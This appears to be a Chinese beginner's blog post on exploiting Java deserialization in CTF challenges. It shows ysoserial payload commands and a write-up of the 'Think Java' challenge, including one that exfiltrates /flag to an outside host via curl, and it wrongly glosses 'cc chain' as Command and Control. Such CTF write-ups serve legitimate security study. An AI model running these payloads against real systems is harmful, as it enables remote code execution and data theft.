java反序列化漏洞在CTF中的利用

前言

今天突然想起来对java反序列化漏洞的学习做一个记录,所以随便写一下,文章内容基础且结构无序,全是我个人的大白话,适合ctf初学者随便看看用来下饭。

简单介绍

序列化指的是将对象或数据结构转换为可存储或传输的格式的过程,实现的方法是writeObject();反序列化则反之,实现的方法是readObject(),可以简单地理解为将文件压缩和解压缩的过程。

与PHP中反序列互相触发魔法函数导致的漏洞成因不同,java反序列化漏洞的成因主要是由于java序列化和反序列化机制的设计特点所致,简单地讲,只要反序列化代码中含有危险的命令代码,且该代码的参数是可控的,那它就存在该漏洞。

漏洞原理在我今天这里不是重要的,我主要想记录的是该漏洞的利用方式。

通常在解题中如果你看到一段字符串以rO0AB开头,那它是java序列化后base64编码的数据;如果一段字符串以aced开头,那它是java序列化后十六进制的数据,碰到这两种情况都基本可以认定该题考点为java反序列化漏洞,如果有直接接受该字符串的输入点,就可以尝试用链子直接打。

链子

链子通常指的是cc链攻击(Command and Control),在反序列化过程中插入恶意代码来进行RCE,在成为大牛后可以自行编写链子,像我一样的初学者还是建议使用ysoserial工具来一步到位。

工具下载连接

由于要对序列化后的数据进行base64编码,建议将工具安装至linux系统

工具使用也很简单:

java -jar ysoserial-master.jar  CommonsCollections5 "whoami"|base64 -w0

其中CommonsCollections5为在ysoserial工具中选择的payload,使用不同组件的环境应有不同选择,实在不行就都试一遍!
在这里插入图片描述
如果一切正常,你的终端中应该会直接得到以ro0AB开头的一长串字符串,将其复制粘贴至漏洞点,然后拿下服务器吧!
在这里插入图片描述

[网鼎杯 2020 朱雀组]Think Java

题目地址

这道题目在来到java反序列化前还有sql注入获取用户名和账号的环节,由于不是本篇文章内容这里就直接给出:

username:admin
password:admin@Rrrr_ctf_asde

访问在线测试接口/swagger-ui.html可以看到三个对应不同功能的接口
在这里插入图片描述

在login中输入账号密码:
在这里插入图片描述

登录成功后返回信息,发现一串以ro0AB开头的字符串,可以判断出这是java序列化后base64编码的数据
在这里插入图片描述

将这串数据放入/current中提交:
在这里插入图片描述
发现回显出了admin的身份信息:
在这里插入图片描述

根据这些我们可以知道,该接口将数据反序列化了,那是否存在漏洞可以利用呢,接下来就可以使用ysoserial工具来尝试。

由于还不知道系统使用了哪些组件,即不知道应该选择哪工具中的一条payload,这里可以用bp的Java Deserialization Scanner插件去测试,如下图检测出了ROME,那就以此生成利用代码
在这里插入图片描述
由于该环境没有直接的回显点位,需要选择外带或者反弹shell的方式去获取到flag,我这里选择了外带的方式

java -jar ysoserial-master.jar ROME "curl ip -d @/flag"|base64 -w0

之后即可在服务器上看到带出来的信息
在这里插入图片描述

  • 22
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Java序列漏洞一般利用思路是利用Java序列机制,将恶意序列数据传递给目标系统,从而实现远程代码执行、拒绝服务等攻击。攻击者通常会构造恶意序列数据,使其在序列过程触发漏洞,从而执行恶意代码。为了防范此类攻击,可以采取一些措施,如限制序列对象的类型、使用安全的序列库等。 ### 回答2: Java序列漏洞利用思路主要包括以下几个步骤: 1. 找到目标:攻击者首先需要找到运行了可利用Java序列漏洞的目标程序。这可以通过分析目标程序的代码、网络流量或者漏洞公开报告等途径进行。 2. 构造恶意序列数据:攻击者需要构造恶意的序列数据,这些数据会被目标程序读取并解析。攻击者可以使用一些工具或者手动编写代码来生成恶意序列数据。 3. 选择合适的漏洞利用方式:根据目标程序的具体情况,攻击者可以选择合适的漏洞利用方式。常见的利用方式包括Java序列漏洞利用链,如利用未经过正确检验的序列的对象进行远程代码执行或者文件读写等操作。 4. 发送恶意序列数据:攻击者需要将构造好的恶意序列数据发送给目标程序。这可以通过网络连接、文件上传、内存注入等方式进行。 5. 触发序列:目标程序接收到攻击者发送的序列数据后,会进行相应的序列操作。在解析过程,如果存在漏洞,则恶意代码会被执行,导致安全问题。 6. 实现攻击目标:一旦恶意代码被执行,攻击者可以获得对目标程序的控制,从而进行进一步的攻击行为。这可能包括窃取敏感信息、执行任意代码、篡改数据等。 为了防范Java序列漏洞利用,开发者可以采取一些措施,如使用安全的序列序列库、校验序列输入、限制序列操作的范围和权限等。同时,及时更新和修补已知的漏洞也是非常重要的。 ### 回答3: Java序列漏洞利用思路如下: 在Java,对象的序列是将对象转换为字节流的过程,而序列则是将字节流还原为对象的过程。序列漏洞是指攻击者通过构造恶意的序列数据,再使用该数据进行序列操作,从而导致程序在序列的过程触发各种安全漏洞。 通常的利用思路如下: 1. 找到存在序列漏洞的目标:通过静态代码分析、动态分析或源码审计等手段,找到存在序列漏洞的应用程序。 2. 构造恶意的序列数据:攻击者通过修改或创建特定的序列数据,来生成恶意的序列数据。这些数据可能包含有害的代码或意外的操作。 3. 发送恶意数据进行序列:攻击者将构造好的恶意序列数据发送给目标应用程序,并通过触发序列操作,将恶意数据还原为对象。此时,存在漏洞的应用程序会执行恶意代码,并可能导致安全问题。 4. 利用漏洞进行攻击:一旦恶意代码被执行,攻击者可以在目标系统上执行各种恶意操作,如执行任意命令、远程代码执行、获取敏感信息等。 为了避免被序列漏洞攻击,需要对序列操作进行安全措施,比如使用白名单机制限制可序列的类、对序列方法进行签名等。同时,定期更新和修复Java环境,以及对目标应用程序进行安全测试和代码审计,也是减少序列漏洞风险的重要措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值